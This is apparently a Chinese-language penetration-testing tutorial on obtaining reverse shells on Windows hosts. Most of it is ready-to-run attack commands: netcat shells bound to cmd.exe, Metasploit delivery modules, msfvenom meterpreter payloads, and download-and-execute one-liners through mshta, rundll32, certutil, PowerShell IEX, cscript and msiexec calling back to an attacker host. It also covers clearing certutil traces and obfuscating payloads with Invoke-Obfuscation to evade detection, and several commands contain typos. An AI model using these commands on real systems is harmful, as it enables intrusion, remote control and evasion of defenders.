正向shell: 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口 被占用等问题导致被控端不能正常接收发送过来的数据包。
被控端: nc -lvvp 6666 -e cmd.exe
开启监听
此原理就是,被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
控制端
nc -lvvp 6666
开启监听被控制端 nc.exe -e cmd.exe 192.168.8.31 6666
·
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。
Microsoft HTML Application,用于执行 .hta文件
use exploit/windows/misc/hta_server
set srvhost 192.168.8.31
run
执行成功后会自动开启一个http服务,并返回一个url
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6667 -f hta-psh -o 6667.hta
开启监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 4444
开启一个http服务,用于被控制端下载执行hta文件被控制端执行反弹成功
生成一个hta文件,然后开一个http的服务成功后返回一个url,同理使用 mshta.exe执行即可
Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中。
use exploit/windows/smb/smb_delivery
set srvhost 192.168.8.31
run -j
被控制端执行
rundll32.exe \\192.168.8.31\jVYTL\test.dll,0
这个模块的smb版本太低了,所以win10运行会失败,如果被控制端是win7则是ok的,这里就不再演示了。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6668 -f dll > 6668.dll
在这里插入图片描述
msf进行端口的监听将dll文件下载到被控制端,并用rundll32.exe执行
rundll32.exe shell32.dll,Control_RunDLL C:\Users\asus\Desktop\6668.dll
在这里插入图片描述
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6669 -f hta-psh > 6669.hta
msf开启监听,下载此文件到被控制端 执行文件 rundll32.exe url.dll OpenURL 6669.hta
反弹成功
Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。
use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.8.31
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.8.31
msf exploit (web_delivery)> exploit –j
Certutil.exe是作为证书服务的一部分安装的命令行程序。我们可以使用此工具在目标计算机中执行恶意的exe文 件以获得meterpreter会话。
msfvenom生成恶意exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7001 -f exe > 7001.exe
开启http服务用于下载恶意文件 然后通过certuil下载并执行文件
certutil.exe -urlcache -split -f http://192.168.8.31:8000/7001.exe 7001.exe
./7001.exe
·反弹成功清除日志 certutil.exe -urlcache -split -f http://192.168.8.31:8000/shell.exe delete
powercat是powershell本地后门侦听器和反向shell工具,也称为修改版本的netcat,集成支持经过编码的有效载荷。
下载地址
下载之后开启http服务,用于远程加载powercat文件 控制端监听端口
被控制端执行,转发cmd命令到7002端口
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/powercat.ps1');powercat -c 192.168.8.31 -p 7002 -e cmd"
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run -j
powershell允许客户端通过执行cscript.exe来运行wsf、js、vbscript脚本。
msfvenom生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7003 -f vbs -o 7003.vbs
开启一个http服务,然后开启一个handler监听 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7003
被控制端执行
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.8.31:8000/7003.vbs','C:\Users\asus\Desktop\7003.vbs');Start-Process C:\Windows\System32\cscript.exe C:\Users\asus\Desktop\7003.vbs"
powershell允许客户端执行bat文件
通过msfvenom生成bat恶意文件
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.831 lport=7004 -o 7004.bat
在这里插入图片描述
msf开启监听,然后开启http服务用于被控制端下载恶意文件 handler -p cmd/windows/powershell_reverse_tcp -H 192.168.8.31 -P 7004
被控制端执行恶意文件 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/7004.bat')"
反弹成功
msfvenom生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7006 -f exe -o 7006.exe
msf开启监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7006
执行恶意文件,下面两种方式都可以
powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.8.31:8000/7006.exe','1.exe');start 1.exe
powershell -ep bypass -nop -w hidden (new-object
system.net.webclient).downloadfile('http://192.168.8.31:8000/7006.exe','1.exe');start-process 1.exe
在这里插入图片描述
这是Windows Installer的一部分,用于安装Windows Installer安装包(MSI)
生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7005 -f mis 7005.msi
执行恶意文件 msiexec /q /i http://192.168.8.31:8000/7005.msi
这个先占个坑吧,没查出来有要怎么解决
这里主要介绍Invoke-Obfuscation这款工具,可以去github上下载,传送门
启动Invoke-Obfuscation
powershell -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
先用msfvenom生成一个ps1文件 sfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7007 --arch x64 --platform wiindows -f psh-reflection -o 7007.ps1
启动完成过后,设置混淆脚本代码的位置 set scriptpath C:\Users\asus\Desktop\7007.ps1
选择混淆方式为 TOKEN\ALL\1保存混淆之后的脚本 out out.ps1
主要就是通过msfvenom生成恶意文件,然后想办法传到被控制端,通过相应的软件执行恶意文件。